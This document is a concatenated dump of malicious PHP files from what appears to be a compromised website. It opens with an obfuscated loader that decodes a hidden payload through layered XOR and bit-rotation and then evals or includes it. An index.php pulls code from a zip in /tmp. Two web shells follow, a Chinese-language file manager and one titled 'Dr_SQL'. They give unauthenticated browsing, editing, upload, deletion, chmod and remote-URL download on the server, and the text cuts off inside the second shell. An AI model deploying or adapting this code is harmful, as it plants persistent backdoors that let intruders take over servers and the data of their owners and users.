'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');
$jivdSVx = '50a6004127f6f8e95b927888630c9442';
$mOaxjlb = 'c19b4d5caafc92ee2e31ebd76dde5f1a';
$TgDOzpaT = 3;


function SuiROhBDIg($arr) {
    return base64_decode(implode('', $arr));
}

function PAjaCPLpy($data, $hexkey) {
    $k = hex2bin($hexkey);
    $out = '';
    $klen = strlen($k);
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
    }
    return $out;
}

function QPcBFxFrU($data, $n, $dir = 'r') {
    $out = '';
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $b = ord($data[$i]) & 0xFF;
        if ($dir === 'r') {
            $b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
        } else {
            $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
        }
        $out .= chr($b);
    }
    return $out;
}

function ODCahlbgkR($fname, $payload) {
    $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
    if (@file_put_contents($tmp, $payload) !== false) {
        @chmod($tmp, 0640);
        if (@rename($tmp, $fname)) {
            @include_once($fname);
            return true;
        }
    }
    @file_put_contents($fname, $payload);
    @include_once($fname);
    return true;
}

try {
    $enc = SuiROhBDIg($SMpiPHfV);
    $s = '';
    for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
    $s = PAjaCPLpy($s, $mOaxjlb);
    $s = QPcBFxFrU($s, $TgDOzpaT, 'r');
    $s = strrev($s);
    $s = PAjaCPLpy($s, $jivdSVx);

    $tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
    if (@file_put_contents($tmp, $s) !== false) {
        @include_once($tmp);
        @unlink($tmp);
        exit;
    }
    @eval($s);
    exit;

} catch (Exception $e) { exit; }
?>PK�Lm\�'�nn	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "network_xo.php"; include("zip:///tmp/phptpd9aH#$h");?>PK�Lm\�(C$�*�*	nbixv.phpnu�[���<?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
    $current_dir=$dir==''?$wwwroot:$dir;
    $current_dir=rtrim($current_dir,'/');
    $current_dir_nav='';
    $dir_path='';
    $current_dir_split=explode('/',$current_dir);
    foreach( $current_dir_split as $dir )
    {
        $dir_path.=$dir.'/';
        $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
    }
    $dir_rows='';
    $file_rows='';
    $current_dir_list=sCaNDir($current_dir);
    $row_id=0;
    foreach( $current_dir_list as $target_name )
    {
        if ( $target_name=='.' || $target_name=='..' ) continue;
        $target=$current_dir.'/'.$target_name;
        $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
        $row_id++;
        $target_u_id=fIlEOwNEr($target);
        $target_u_att=poSIx_GEtpWUid($target_u_id);
        $target_owner=$target_u_att['name'];
        $target_perm=get_qx($target);
        $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
        if ( is_dir($target) )
        {
            $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#"  onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }else
        {
            $target_fsize=fILesIzE($target);
            $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
            $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }
    }
    $div_html='<table cellspacing="10">
                 <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a>  当前目录:'.$current_dir_nav.'   <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
                 <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
                 '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
              </table>';  
}elseif ( $action=='sc' )
{
    if ( $file!='' )
    {
        uNlInk($file); jump_to('?d='.diRNaMe($file));
    }elseif( $dir!='' )
    {
        rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
    }
    exit;
}elseif( $action=='gm' )
{
    $gm=isset($_POST['gm'])?trim($_POST['gm']):'';
    if ( $gm!='' )
    {
        $old_f=$file==''?$dir:$file;
        if ( $old_f!='' && file_exists($old_f) )
        {
            $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
        }
    }else
    {
        show_msg('请输入新名称!','back');
    }
    exit;
}elseif( $action=='qx' )
{
    $target=$dir==''?$file:$dir;
    if ( $target!='' )
    {
        $qx=isset($_POST['qx'])?trim($_POST['qx']):'';
        if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
        {
            set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
        }else
        {
            show_msg('请输入新权限!','back');
        }
    }
    exit;
}elseif( $action=='ck' && $file!='' )
{
    if ( fiLEsIze($file)<10000000 )
    {
        HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
    }else
    {
        show_msg('文件大小超限!','close');
    }
    exit;
}elseif( $action=='bj' && $file!='' )
{
    if ( isset($_POST['f_content']) )  
    {
        FilE_pUt_COnteNts($file,$_POST['f_content']);
        md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
    }
    $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
    $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存">  <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; 
}elseif( $action=='tj' && $dir!='' )
{
    $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
    if ( $t_name=='' )
    {
        show_msg('请输入项目名称!','back');
    }else
    {
        if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
        if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
        if ( $_POST['t_type']=='tj_xz' ) 
        {
            preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
        }
        jump_to('?d='.$dir);
    }
    exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
    MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
    jump_to('?d='.$dir);
    exit;
}

function get_qx($t)
{
    $q=substr(sprintf('%o',fILepErMs($t)),-4);
    return $q;
}
function set_qx($t,$q)
{
    EvAl('cHMoD("'.$t.'",'.$q.');');
    if ( get_qx($t)!=$q )
    {
        $tmp_f=uniqid().'.txt';
        $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
        fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
        require($tmp_f);
        UnLInK($tmp_f);
    }
}

function rm_rf($d) 
{
    if (is_dir($d)) 
    {
        $f_l=sCaNDir($d);
        foreach ($f_l as $f) 
        {
            if ($f=='.'||$f=='..') continue;
            $p=$d.'/'.$f;
            is_dir($p)?rm_rf($p):uNliNk($p);
        }
        rMdIR($d);
    }
}

function show_msg($msg,$go)
{
    echo '<script>alert("'.$msg.'");</script>'; 
    if ($go=='back') echo '<script>window.history.back();</script>'; 
    if ($go=='close') echo '<script>window.close();</script>'; 
}

function jump_to($url)
{
    echo '<script>window.location.href="'.$url.'";</script>';
}

function down_file($dir,$url)
{
    $s_name=array_pop(explode('/',$url));
    if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
    $ch=CUrl_iNit();
    cuRl_seTOpt ($ch, CURLOPT_URL, $url);
    cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
    cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
    $contents = cUrl_eXeC($ch);
    cURl_CLosE($ch);
    if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
    if ( empty($contents) )
    {
        show_msg('下载出错!','');
    }else
    {
        fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
        show_msg('下载完成!','');        
    }
}

?>
<html>
    <head>
        <title>芝麻web文件管理</title>
        <meta name="robots" content="none">
        <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    </head>
    <body>
    <style>
    a {color:#000000;text-decoration:none;}
    a:hover {color:#ff0000;}
    .tl:hover {background-color:#eeeeee;}
    form {margin:0;}
    </style>
    <script>
        function show_input_box(s,t,f,a,)
        {
           var span=document.getElementById(s);
           if ( span.innerHTML=='' )
           {
                span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';                
           }else
           {
                span.innerHTML='';
           }
        }
        function confirm_sc(t,f)
        {
            if (f=='d')
            {
                if ( confirm('确定要删除此目录吗?') )
                {
                    window.location.href='?d='+t+'&a=sc';
                }
            }
            if (f=='f')
            {
                if ( confirm('确定要删除此文件吗?') )
                {
                    window.location.href='?f='+t+'&a=sc';
                }                
            }
        }
    </script>
        <div>
            <h1>芝麻web文件管理V1.00</h1>
            <?php echo $div_html;?>
        </div>
    </body>
</html>PK�Lm\Q��0,0,	95r6k.phpnu�[���<?php
error_reporting(0);

if (isset($_GET['d'])) {
    $decoded = urldecode($_GET['d']);
    if (is_dir($decoded)) {
        @chdir($decoded);
    }
}

$me = basename(__FILE__);
$bckC = '#333333';
$txtC = '#999999';
$current_dir = getcwd();

// === Handle Actions ===
if ($_POST['action'] === 'upload' && !empty($_FILES['file']['name'])) {
    $name = basename($_FILES['file']['name']);
    @move_uploaded_file($_FILES['file']['tmp_name'], $name);
}
if ($_POST['action'] === 'mkdir' && !empty($_POST['name'])) {
    @mkdir($_POST['name']);
}
if ($_POST['action'] === 'mkfile' && !empty($_POST['name'])) {
    @file_put_contents($_POST['name'], '');
}
if ($_GET['action'] === 'delete_file' && !empty($_GET['path'])) {
    @unlink(urldecode($_GET['path']));
}
if ($_GET['action'] === 'delete_dir' && !empty($_GET['path'])) {
    @rmdir(urldecode($_GET['path']));
}
if ($_POST['action'] === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
    @rename($_POST['old'], $_POST['new']);
}
if ($_POST['action'] === 'chmod' && !empty($_POST['path']) && !empty($_POST['mode'])) {
    @chmod($_POST['path'], octdec($_POST['mode']));
}

// === Output HTML ===
print <<<HTML
<html>
<head>
    <title>Dr_SQL</title>
    <style>
        body { background: {$bckC}; color: {$txtC}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }
        a { color: {$txtC}; text-decoration: none; }
        a:hover { color: #79a317; }
        .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
        .breadcrumb { margin: 10px 0; font-size: 10pt; }
        .breadcrumb a { color: #79a317; }
        .actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }
        .actions form { display: flex; gap: 5px; }
        .actions input { background: {$bckC}; color: {$txtC}; border: 1px solid {$txtC}; border-radius: 5px; padding: 3px 6px; }
        .actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }
        th { color: #79a317; font-weight: bold; }
        tr:hover { background: rgba(121,163,23,0.05); }
        .file-icon { width: 16px; margin-right: 5px; }
        .perm-writable { color: #ccff00; }
        .perm-readable { color: {$txtC}; }
        .perm-locked { color: crimson; }
        .btn { background: rgba(0,0,0,0.3); color: {$txtC}; border: 1px solid {$txtC}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }
        .btn:hover { background: #79a317; color: black; }
        .hidden { display: none; }
        .popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }
    </style>
    <script>
        function togglePopup(id) {
            let el = document.getElementById(id);
